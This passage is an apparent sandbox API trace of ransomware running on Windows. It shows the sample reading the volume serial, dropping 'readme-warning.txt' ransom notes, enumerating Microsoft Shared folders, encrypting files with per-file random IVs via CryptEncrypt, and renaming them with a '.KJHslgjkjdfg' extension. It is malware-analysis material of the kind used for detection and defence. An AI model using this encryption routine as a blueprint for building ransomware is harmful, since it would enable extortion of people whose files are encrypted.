lpMem=0x2f11750 | out: hHeap=0x2ef0000) returned 1 [0167.518] GetProcessHeap () returned 0x2ef0000 [0167.518] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11750 [0167.518] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0167.518] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11750, pdwDataLen=0x4dfea5c | out: pbData=0x2f11750, pdwDataLen=0x4dfea5c) returned 1 [0167.518] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.518] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0167.518] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0167.518] GetProcessHeap () returned 0x2ef0000 [0167.518] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11750 | out: hHeap=0x2ef0000) returned 1 [0167.518] wsprintfA (in: param_1=0x4dfeca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0167.518] wsprintfA (in: param_1=0x4dff0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0167.518] GetProcessHeap () returned 0x2ef0000 [0167.518] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3e640 [0167.518] wsprintfW (in: param_1=0x4dfe084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\readme-warning.txt") returned 74 [0167.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.519] WriteFile (in: hFile=0xf0, lpBuffer=0x2f3e640*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe080, lpOverlapped=0x0 | out: lpBuffer=0x2f3e640*, lpNumberOfBytesWritten=0x4dfe080*=0x3b3, lpOverlapped=0x0) returned 1 [0167.521] CloseHandle (hObject=0xf0) returned 1 [0167.522] GetProcessHeap () returned 0x2ef0000 [0167.522] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0167.522] GetProcessHeap () returned 0x2ef0000 [0167.522] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e640 | out: hHeap=0x2ef0000) returned 1 [0167.522] GetProcessHeap () returned 0x2ef0000 [0167.522] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0167.522] GetProcessHeap () returned 0x2ef0000 [0167.522] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0167.522] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0167.522] GetProcessHeap () returned 0x2ef0000 [0167.522] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0167.522] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EURO", cAlternateFileName="")) returned 1 [0167.522] GetProcessHeap () returned 0x2ef0000 [0167.522] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x78) returned 0x2f09d00 [0167.522] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0167.524] GetProcessHeap () returned 0x2ef0000 [0167.524] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f09d00 | out: hHeap=0x2ef0000) returned 1 [0167.524] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0167.524] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 1 [0167.524] GetProcessHeap () returned 0x2ef0000 [0167.524] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x27a) returned 0x2f16e68 [0167.524] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x7980, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOEURO.DLL", cAlternateFileName="")) returned 0 [0167.524] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0167.524] GetProcessHeap () returned 0x2ef0000 [0167.524] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0167.524] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Filters", cAlternateFileName="")) returned 1 [0167.524] GetProcessHeap () returned 0x2ef0000 [0167.524] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x7e) returned 0x2f123a0 [0167.524] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0167.526] GetProcessHeap () returned 0x2ef0000 [0167.526] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0167.526] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0167.526] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0167.526] GetProcessHeap () returned 0x2ef0000 [0167.526] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x280) returned 0x2f16e68 [0167.526] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x6b29d7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x140790, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="odffilt.dll", cAlternateFileName="")) returned 1 [0167.526] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x16af90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="offfiltx.dll", cAlternateFileName="")) returned 1 [0167.526] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 1 [0167.526] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd9e40080, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x206b78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VISFILT.DLL", cAlternateFileName="")) returned 0 [0167.526] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0167.526] GetProcessHeap () returned 0x2ef0000 [0167.526] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0167.526] FindNextFileW (in: hFindFile=0x2f18208, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0167.526] GetProcessHeap () returned 0x2ef0000 [0167.526] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x7e) returned 0x2f123a0 [0167.526] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0167.529] GetProcessHeap () returned 0x2ef0000 [0167.529] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f123a0 | out: hHeap=0x2ef0000) returned 1 [0167.529] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0167.529] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0167.529] GetProcessHeap () returned 0x2ef0000 [0167.529] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x280) returned 0x2f16e68 [0167.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.530] GetProcessHeap () returned 0x2ef0000 [0167.530] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0167.530] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0167.530] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0167.530] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x5, lpOverlapped=0x0) returned 1 [0167.544] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.545] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.545] GetProcessHeap () returned 0x2ef0000 [0167.545] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0167.545] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0167.545] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.545] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0167.545] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0167.545] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0167.545] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0167.545] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0167.546] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0167.546] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.546] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.546] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.546] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1a9b, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1a9b, lpOverlapped=0x0) returned 1 [0167.548] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1aa0, dwBufLen=0x1aa0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1aa0) returned 1 [0167.548] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.548] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1aa0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1aa0, lpOverlapped=0x0) returned 1 [0167.549] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.549] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.549] SetEndOfFile (hFile=0xf0) returned 1 [0167.553] GetProcessHeap () returned 0x2ef0000 [0167.553] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0167.553] GetProcessHeap () returned 0x2ef0000 [0167.553] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0167.553] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.kjhslgjkjdfg")) returned 1 [0167.554] CloseHandle (hObject=0xf0) returned 1 [0167.554] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0167.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0167.557] GetProcessHeap () returned 0x2ef0000 [0167.557] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0167.557] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0167.557] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0167.557] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.557] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.557] GetProcessHeap () returned 0x2ef0000 [0167.557] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0167.557] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0167.558] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.558] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0167.560] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0167.561] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0167.561] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0167.561] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0167.561] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0167.561] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0167.561] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0167.561] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.561] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4f160, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4f160, lpOverlapped=0x0) returned 1 [0167.566] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4f160, dwBufLen=0x4f160 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4f160) returned 1 [0167.570] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.570] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4f160, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4f160, lpOverlapped=0x0) returned 1 [0167.571] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0167.571] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4f234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.571] SetEndOfFile (hFile=0xf0) returned 1 [0167.574] GetProcessHeap () returned 0x2ef0000 [0167.575] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0167.575] 